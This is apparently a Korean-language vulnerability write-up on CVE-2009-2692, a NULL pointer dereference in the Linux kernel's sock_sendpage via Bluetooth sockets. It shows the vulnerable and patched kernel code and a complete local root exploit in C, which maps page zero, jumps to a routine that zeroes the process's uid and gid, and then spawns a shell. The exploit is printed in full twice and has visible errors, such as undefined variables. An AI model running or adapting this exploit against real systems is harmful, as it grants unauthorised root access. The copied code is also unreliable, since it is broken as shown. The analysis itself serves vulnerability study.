[1-day Analysis] CVE-2009-2692 ( NULL Pointer Dereference in Linux Kernel )
Disclosure or Patch Date: August 13 2009
Product: Linux kernel
Affected Versions: Linux kernel 2.6.0 - 2.6.30.4, 2.4.4 - 2.4.37.4
Bug Class: NULL Pointer Dereference
CVE-2009-2692에서 발생한 취약점은 NULL Pointer Dereference이고 권한 상승이 가능한 취약점이다.
ssize_t sock_sendpage(struct file *file, struct page *page,
int offset, size_t size, loff_t *ppos, int more)
{
struct socket *sock;
int flags;
if (ppos != &file->f_pos)
return -ESPIPE;
sock = SOCKET_I(file->f_dentry->d_inode);
flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
if (more)
flags |= MSG_MORE;
return sock->ops->sendpage(sock, page, offset, size, flags);
}
NULL Pointer Dereference가 발생하는 지점은 net/socket.c의 sock_sendpage() 에서 발생한다.
sock_sendpage() 함수에서 sock -> ops -> sendpage() 함수를 호출할 때 socket 구조체의 포인터 변수인 ops는 proto_ops 구조체를 가리키는데 proto_ops 구조체의 함수 포인터인 sendpage() 함수에 대한 NULL Check 과정이 없어 취약점이 발생한다.
struct socket {
socket_state state;
unsigned long flags;
struct proto_ops *ops;
struct fasync_struct *fasync_list;
struct file *file;
struct sock *sk;
wait_queue_head_t wait;
short type;
unsigned char passcred;
};
socket 구조체는 include/linux/net.h에 선언되어 있다.
socket 구조체의 포인터 변수인 ops는 proto_ops 구조체를 가리키고 있다.
struct proto_ops {
int family;
struct module *owner;
int (*release) (struct socket *sock);
int (*bind) (struct socket *sock,
struct sockaddr *myaddr,
int sockaddr_len);
int (*connect) (struct socket *sock,
struct sockaddr *vaddr,
int sockaddr_len, int flags);
int (*socketpair)(struct socket *sock1,
struct socket *sock2);
int (*accept) (struct socket *sock,
struct socket *newsock, int flags);
int (*getname) (struct socket *sock,
struct sockaddr *addr,
int *sockaddr_len, int peer);
unsigned int (*poll) (struct file *file, struct socket *sock,
struct poll_table_struct *wait);
int (*ioctl) (struct socket *sock, unsigned int cmd,
unsigned long arg);
int (*listen) (struct socket *sock, int len);
int (*shutdown) (struct socket *sock, int flags);
int (*setsockopt)(struct socket *sock, int level,
int optname, char __user *optval, int optlen);
int (*getsockopt)(struct socket *sock, int level,
int optname, char __user *optval, int __user *optlen);
int (*sendmsg) (struct kiocb *iocb, struct socket *sock,
struct msghdr *m, int total_len);
int (*recvmsg) (struct kiocb *iocb, struct socket *sock,
struct msghdr *m, int total_len,
int flags);
int (*mmap) (struct file *file, struct socket *sock,
struct vm_area_struct * vma);
ssize_t (*sendpage) (struct socket *sock, struct page *page,
int offset, size_t size, int flags);
};
proto_ops 구조체도 include/linux/net.h에 선언되어 있다.
맨 아래 함수 포인터인 sendpage() 함수가 보인다.
socket(PF_BLUETOOTH, SOCK_DGRAM, 0);
socket() 함수를 호출할 때 인자를 저렇게 전달해주면 내부적으로 l2cap_sock_create() 함수가 호출된다.
static int l2cap_sock_create(struct socket *sock, int protocol)
{
struct sock *sk;
BT_DBG("sock %p", sock);
sock->state = SS_UNCONNECTED;
if (sock->type != SOCK_SEQPACKET && sock->type != SOCK_DGRAM && sock->type != SOCK_RAW)
return -ESOCKTNOSUPPORT;
if (sock->type == SOCK_RAW && !capable(CAP_NET_RAW))
return -EPERM;
sock->ops = &l2cap_sock_ops;
sk = l2cap_sock_alloc(sock, protocol, GFP_KERNEL);
if (!sk)
return -ENOMEM;
l2cap_sock_init(sk, NULL);
return 0;
}
l2cap_sock_create() 함수에서 sock->ops = &l2cap_sock_ops; 이렇게 sock->ops에 l2cap_sock_ops 구조체의 주소를 저장한다.
static struct proto_ops l2cap_sock_ops = {
.family = PF_BLUETOOTH,
.owner = THIS_MODULE,
.release = l2cap_sock_release,
.bind = l2cap_sock_bind,
.connect = l2cap_sock_connect,
.listen = l2cap_sock_listen,
.accept = l2cap_sock_accept,
.getname = l2cap_sock_getname,
.sendmsg = l2cap_sock_sendmsg,
.recvmsg = bt_sock_recvmsg,
.poll = bt_sock_poll,
.mmap = sock_no_mmap,
.socketpair = sock_no_socketpair,
.ioctl = sock_no_ioctl,
.shutdown = l2cap_sock_shutdown,
.setsockopt = l2cap_sock_setsockopt,
.getsockopt = l2cap_sock_getsockopt
};
l2cap_sock_ops 구조체는 이런 형태이다.
l2cap_sock_create() 함수에서 l2cap_sock_ops 구조체를 할당하게 되는데 proto_ops 구조체의 함수 포인터인 sendpage에 전달되는 값이 없다.
그렇기 때문에 함수 포인터인 sendpage 변수에는 0이 들어가게 된다.
ssize_t sock_sendpage(struct file *file, struct page *page,
int offset, size_t size, loff_t *ppos, int more)
{
struct socket *sock;
int flags;
if (ppos != &file->f_pos)
return -ESPIPE;
sock = SOCKET_I(file->f_dentry->d_inode);
flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
if (more)
flags |= MSG_MORE;
return sock->ops->sendpage(sock, page, offset, size, flags);
}
이렇게 sock->ops->sendpage() 를 호출했을때 0x0을 호출하게 되면서 취약점이 발생하게 된다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
static unsigned long uid, gid;
uid = getuid();
gid = getgid();
static unsigned long current_stack_pointer()
{
unsigned long stack_pointer;
asm("movq %%rsp, %0;"
: "=r" (stack_pointer));
return stack_pointer;
}
static unsigned long current_task_struct()
{
unsigned long task_struct;
unsigned long thread_info;
thread_info = current_stack_pointer() & ~(4095);
if(*(unsigned long*)thread_info >= 0xc0000000)
{
task_struct = *(unsigned long*)thread_info;
if(*(unsigned long*)task_struct == 0)
{
return task_struct;
}
}
}
static int get_root()
{
unsigned long *task_struct;
task_struct = (unsigned int*)current_task_struct();
while(task_struct)
{
if(task_struct[0] == uid && task_struct[1] == uid && task_struct[2] == uid && task_struct[3] == uid
&& task_struct[4] == gid && task_struct[5] == gid && task_struct[6] == gid && task_struct[7] == gid)
{
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}
task_struct++;
}
return -1;
}
int main()
{
char *addr;
int out_fd, in_fd;
char template[] = "/tmp/tmp.XXXXXX";
if((addr = mmap(NULL, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_FIXED
| MAP_PRIVATE | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED)
{
perror("mmap");
return -1;
}
addr[0] = "\xff";
addr[1] = "\x25";
*(unsigned long*)&addr[2] = 8;
*(unsigned long*)&addr[8] = (unsigned long)get_root;
if((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1)
{
perror("socket");
return -1;
}
if((in_fd = mkstemp(tmp)) == -1)
{
perror("mkstemp");
return -1;
}
if(unlink(template) == -1)
{
perror("unlink");
return -1;
}
if(ftruncate(infd, 4096) == -1)
{
perror("ftruncate");
return -1;
}
sendfile(out_fd, in_fd, NULL, 4096);
system("/bin/sh");
}
전체적인 익스플로잇 코드는 이러하다.
익스플로잇 단계를 분석해보자.
int main()
{
char *addr;
int out_fd, in_fd;
char template[] = "/tmp/tmp.XXXXXX";
if((addr = mmap(NULL, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_FIXED
| MAP_PRIVATE | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED)
{
perror("mmap");
return -1;
}
addr[0] = "\xff";
addr[1] = "\x25";
*(unsigned long*)&addr[2] = 8;
*(unsigned long*)&addr[8] = (unsigned long)get_root;
if((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1)
{
perror("socket");
return -1;
}
if((in_fd = mkstemp(tmp)) == -1)
{
perror("mkstemp");
return -1;
}
if(unlink(template) == -1)
{
perror("unlink");
return -1;
}
if(ftruncate(infd, 4096) == -1)
{
perror("ftruncate");
return -1;
}
sendfile(out_fd, in_fd, NULL, 4096);
system("/bin/sh");
}
먼저 메인함수에서 mmap() 함수를 호출하여 addr에 0으로 초기화된 0x0 주소를 할당받는다.
addr[0] = "\xff";
addr[1] = "\x25";
*(unsigned long*)&addr[2] = 8;
*(unsigned long*)&addr[8] = (unsigned long)get_root;
그 후 addr에 opcode인 ff 25 08 00 00 00 ... 을 써준다.
ff 25 08 00 00 00은 어셈블리어로 jmp DWORD PTR ds:0x8 이다.
즉, 주소 0x8로 jmp를 한다는건데 0x8 주소에는 권한 상승을 시키는 함수 get_root() 함수의 주소가 있다.
취약점을 이용하여 0x0을 호출하면 opcode가 실행되어 get_root() 함수가 호출될 것이다.
static int get_root()
{
unsigned long *task_struct;
task_struct = (unsigned int*)current_task_struct();
while(task_struct)
{
if(task_struct[0] == uid && task_struct[1] == uid && task_struct[2] == uid && task_struct[3] == uid
&& task_struct[4] == gid && task_struct[5] == gid && task_struct[6] == gid && task_struct[7] == gid)
{
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}
task_struct++;
}
return -1;
}
get_root() 함수에서는 current_task_struct() 함수를 호출하여 task_struct 구조체의 주소를 알아내 권한 상승을 하는 함수이다.
static unsigned long current_task_struct()
{
unsigned long task_struct;
unsigned long thread_info;
thread_info = current_stack_pointer() & ~(4095);
if(*(unsigned long*)thread_info >= 0xc0000000)
{
task_struct = *(unsigned long*)thread_info;
if(*(unsigned long*)task_struct == 0)
{
return task_struct;
}
}
}
current_task_struct() 함수는 currnet_stack_pointer() 함수를 호출하여 ESP 레지스터 값을 반환 받는다.
ESP 값과 4095를 NOT 연산한 값을 AND 연산하여 하위 3바이트를 0으로 만들어준다.
하위 3바이트를 0으로 만들어주면 스택의 처음 주소를 알아낼 수 있다.
ESP가 스택의 어디에 위치하든 0xfffff000과 AND 연산을하면 스택의 처음 주소를 알아낼 수 있는 원리이다.
스택의 처음 주소를 알아내는 이유는 커널 스택의 처음 주소에 thread_info 구조체가 존재하기 때문이다.
struct thread_info {
struct task_struct *task; /* main task structure */
struct exec_domain *exec_domain; /* execution domain */
unsigned long flags; /* low level flags */
unsigned long status; /* thread-synchronous flags */
__u32 cpu; /* current CPU */
__s32 preempt_count; /* 0 => preemptable, <0 => BUG */
mm_segment_t addr_limit; /* thread address space:
0-0xBFFFFFFF for user-thead
0-0xFFFFFFFF for kernel-thread
*/
struct restart_block restart_block;
unsigned long previous_esp; /* ESP of the previous stack in case
of nested (IRQ) stacks
*/
__u8 supervisor_stack[0];
};
thread_info 구조체에는 task_struct 구조체를 가리키는 task 포인터가 존재한다.
그래서 thread_info 구조체를 구하면 task_struct 구조체의 주소를 알아내 uid, gid의 값을 0으로 바꿔 권한을 root로 바꿀수 있다.
task_struct->cred에서 권한 상승을 하는게 아닌 이유는 kernel 2.6.X 버전 이후부터 struct cred 구조체를 만들어 권한 관련 부분을 따로 관리하는데 2.6.X 버전 이전은 task_struct 구조체에서 uid, gid를 관리하기 때문이다.
if((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1)
{
perror("socket");
return -1;
}
if((in_fd = mkstemp(tmp)) == -1)
{
perror("mkstemp");
return -1;
}
if(unlink(template) == -1)
{
perror("unlink");
return -1;
}
if(ftruncate(infd, 4096) == -1)
{
perror("ftruncate");
return -1;
}
sendfile(out_fd, in_fd, NULL, 4096);
system("/bin/sh");
마지막으로 메인 함수에서 socket(), mkstemp(), unlink(), ftruncate(), sendfile() 함수를 차례대로 호출하고 system() 함수를 호출하여 쉘을 실행시킨다.
static ssize_t sock_sendpage(struct file *file, struct page *page,
int offset, size_t size, loff_t *ppos, int more)
{
struct socket *sock;
int flags;
sock = file->private_data;
flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
if (more)
flags |= MSG_MORE;
return kernel_sendpage(sock, page, offset, size, flags);
}
취약점이 패치된 버전에서는 sock_sendpage() 함수에서 kernel_sendpage() 함수를 호출한다.
int kernel_sendpage(struct socket *sock, struct page *page, int offset,
size_t size, int flags)
{
sock_update_classid(sock->sk);
if (sock->ops->sendpage)
return sock->ops->sendpage(sock, page, offset, size, flags);
return sock_no_sendpage(sock, page, offset, size, flags);
}
kernel_sendpage() 함수에서 if (sock->ops->sendpage)에서 NULL Check를 하여 0x0이 호출되지 않게 패치되었다.